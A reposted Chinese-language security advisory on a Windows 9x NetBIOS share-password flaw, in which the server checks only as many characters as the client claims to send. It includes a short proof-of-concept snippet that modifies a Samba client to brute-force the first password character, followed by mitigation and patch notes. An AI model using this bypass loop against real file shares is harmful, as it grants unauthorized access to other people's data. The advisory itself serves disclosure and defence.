萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 電腦基礎知識 >  >> 健康知識

Windows 9x NetBIOS共享密碼驗證漏洞 僅需猜測首字元即可繞過

NSFOCUS發現Windows 95/98/98 SE的NetBIOS協定密碼驗證存在嚴重缺陷:服務端依據客戶端發送的長度欄位進行比對,攻擊者可構造長度為1、僅發送首字元的認證封包,服務端僅比對共享密碼首字元,匹配即通過驗證。遠端管理同樣受影響。NT/2000不受影響。

漏洞測試程式碼(修改Samba client)

password[0] = 0;
c->sec_mode = 0;
do {
    password[0] ++;
} while(!cli_send_tconX(c, share, "?????", password, 1));

暴力嘗試256種首字元可能性,極易成功。

臨時緩解

在套用補丁前,暫時關閉檔案共享服務。

官方修復

微軟已發布安全公告 MS00-072 及對應補丁:

  • Windows 95:盡快提供
  • Windows 98 / 98 SE / Me:可下載安裝
copyright © 萬盛學電腦網 all rights reserved